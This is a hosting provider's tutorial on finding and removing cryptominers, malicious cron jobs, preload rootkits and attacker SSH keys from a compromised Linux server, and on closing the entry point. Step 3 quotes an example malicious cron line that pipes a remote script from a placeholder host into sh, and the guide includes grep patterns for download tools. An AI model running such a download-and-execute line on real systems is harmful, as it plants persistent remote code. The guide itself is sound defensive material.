Linux Server

Is Your Linux Server Hacked? Find and Remove Cryptominers, Malicious Cron Jobs and Backdoor SSH Keys

8 steps 19 min read 6 views 0
On this page

A server that suddenly runs at 100% CPU, sends traffic you can't explain, or triggers an abuse complaint has very often been compromised. On Linux the usual payload is a cryptominer (xmrig, kdevtmpfsi, kinsing and countless renamed copies) that keeps itself alive through cron jobs, systemd services and an attacker's SSH key. This guide walks through how to confirm an intrusion, find the malicious processes and every persistence point, clean the server and close the hole that let the attacker in.

If you confirm a break-in, the only fully trustworthy fix is to back up your data, reinstall the operating system and restore data (not binaries) from a clean backup. Cleaning in place, as described below, removes the common miners and backdoors but cannot guarantee that nothing else was left behind. Either way, change every password and key afterwards.

Typical Signs of a Compromised Server

  • CPU usage stays near 100% even when your website or application is idle.
  • Unknown processes with random names, or processes running from /tmp, /var/tmp or /dev/shm.
  • Heavy outbound traffic, outgoing SSH scans or connections to unfamiliar IPs on ports such as 3333, 4444, 5555, 7777 or 14444 (common mining pool ports).
  • New cron jobs, systemd services or SSH keys you did not add.
  • An abuse report from your provider about port scanning, brute-force attempts or spam sent from your IP.

Step 1: Find Processes Using Unusual CPU

List the busiest processes and look at where their executables actually live. Malware often disguises itself with a harmless-looking name such as [kworker] or systemd-helper, but its binary sits in a temporary directory or has already been deleted from disk.

# Top CPU consumers
ps aux --sort=-%cpu | head -15

# For a suspicious PID: real binary path, full command line and working directory
ls -l /proc/12345/exe
tr '\0' ' ' < /proc/12345/cmdline; echo
ls -l /proc/12345/cwd

# Processes whose binary has been deleted from disk (a classic malware trick)
ls -l /proc/*/exe 2>/dev/null | grep '(deleted)'

# Processes started from temporary directories
ls -l /proc/*/exe 2>/dev/null | grep -E '/tmp/|/var/tmp/|/dev/shm/'

Some miners pause as soon as you open top, or hide from ps through a preloaded library (see Step 3). If the load average stays high while top shows nothing busy, assume something is being hidden.

Step 2: Check Network Connections

Miners must talk to a pool, and bots must talk to their controller. Look for established outbound connections that your applications would never make.

# All TCP/UDP sockets with the owning process
ss -tunap

# Only established outbound connections
ss -tnp state established

# Connections to common mining pool ports
ss -tnp | grep -E ':(3333|4444|5555|7777|14444|45700)\b'

# Live view of which hosts use bandwidth (apt/dnf install iftop)
iftop -nP

Step 3: Find Every Persistence Point

Killing the process is pointless if a cron job downloads it again a minute later. Check all of the following places.

# Cron jobs for every user
for u in $(cut -d: -f1 /etc/passwd); do crontab -l -u "$u" 2>/dev/null | sed "s/^/[$u] /"; done
cat /etc/crontab
ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily /var/spool/cron* 2>/dev/null

# Systemd services and timers changed in the last 14 days
find /etc/systemd /lib/systemd /usr/lib/systemd -type f -mtime -14 2>/dev/null
systemctl list-timers --all

# Library preloading: hides processes and files from ps/ls (should normally be empty or absent)
cat /etc/ld.so.preload 2>/dev/null

# Startup scripts and shell profiles
cat /etc/rc.local 2>/dev/null
ls -la /etc/profile.d/
grep -nE 'curl|wget|base64|/tmp/|/dev/shm' /root/.bashrc /root/.profile /etc/profile /etc/bash.bashrc 2>/dev/null

A typical malicious cron line looks like */5 * * * * curl -fsSL http://x.x.x.x/a.sh | sh or runs a base64-encoded command. Anything you did not create yourself is suspicious.

Step 4: Check Users, SSH Keys and Login History

# Accounts with UID 0 (only root should be listed)
awk -F: '$3 == 0 {print $1}' /etc/passwd

# Accounts that can log in with a shell
grep -vE 'nologin|false$' /etc/passwd

# Every authorized_keys file on the system
find / -xdev -name authorized_keys 2>/dev/null -exec sh -c 'echo "== $1"; cat "$1"' _ {} \;

# Recent successful and failed logins
last -a | head -20
lastb -a 2>/dev/null | head -20
journalctl -u ssh -u sshd --since "7 days ago" | grep -E 'Accepted|Failed' | tail -30

Remove any key you do not recognise. Successful logins from foreign IPs you have never used are a strong sign that a password or key leaked.

Step 5: Look for Recently Changed and Hidden Files

# Files changed in the last 3 days outside virtual filesystems
find / -xdev -type f -mtime -3 \
  -not -path '/proc/*' -not -path '/sys/*' -not -path '/var/log/*' \
  -not -path '/var/lib/docker/*' 2>/dev/null | head -100

# Contents of temporary directories, including hidden files
ls -la /tmp /var/tmp /dev/shm

# Files made immutable so you cannot delete them
lsattr -a /tmp /var/tmp /usr/bin /usr/local/bin 2>/dev/null | grep -- '-i-'

# Verify that system binaries were not replaced
debsums -c 2>/dev/null      # Debian/Ubuntu (apt install debsums)
rpm -Va 2>/dev/null | grep '^..5'   # Rocky/AlmaLinux: files whose checksum changed

Step 6: Clean Up

Work in this order so the malware cannot restart itself while you clean: first remove persistence, then kill the processes, then delete the files.

# 1. Remove persistence: edit the crontabs, delete malicious files in /etc/cron.d,
#    then stop and disable unknown services
crontab -e
systemctl disable --now suspicious.service
rm -f /etc/systemd/system/suspicious.service && systemctl daemon-reload

# 2. Empty a malicious preload file
> /etc/ld.so.preload

# 3. Kill the processes
kill -9 12345

# 4. Remove the immutable flag, then delete the files
chattr -i -a /tmp/.x/miner
rm -rf /tmp/.x

# 5. Remove unknown SSH keys and accounts
nano /root/.ssh/authorized_keys
userdel -r unknownuser

Afterwards, change the root password and all application passwords (databases, panels, CMS admins), regenerate your SSH keys and update the system with apt update && apt upgrade or dnf upgrade. For an extra opinion, run a scanner such as rkhunter --check or chkrootkit; they can produce false positives, so read the warnings carefully.

Step 7: Close the Way In

Most infections we see come through one of a few doors. Fix the one that applies to you, or the server will be reinfected within hours.

  • Weak SSH passwords: switch to key login and disable password authentication (see SSH key login), and add Fail2ban.
  • Services exposed to the internet without a password: Redis (6379), the Docker API (2375), MongoDB (27017) and Elasticsearch (9200) are scanned constantly. Bind them to 127.0.0.1 or block them with the firewall.
  • Outdated web applications and plugins: update the CMS, its plugins and the server panel, and remove sites you no longer use.
  • Leaked keys: an SSH private key or panel password reused elsewhere. Rotate them all.

FAQ

CPU drops to normal when I run top, then rises again. Why?

Many miners watch for monitoring tools and pause while they are running. Check uptime or the CPU graph in your control panel instead, and follow Steps 3 to 5 to find the persistence even if the process is not visible.

Should I clean the server or reinstall it?

If the attacker had root access, reinstalling is the safest choice: back up website files and databases, reinstall the OS, harden it first, then restore data. Cleaning in place is acceptable for a simple miner when you have found and removed every persistence point and the root cause.

My server is sending attacks and I received an abuse ticket. What should I do?

Reply to the ticket, take the infected service offline or clean the server straight away, and tell us what you found and fixed. Outbound attacks harm other networks and your IP's reputation, so acting quickly matters.

Still stuck after following these steps? Open a support ticket and the IMIDC 24/7 technical team will help. Include the server IP, OS version, the suspicious process or file you found and the output of the commands above so we can pinpoint the issue faster.

Was this answer helpful?

Related Tutorials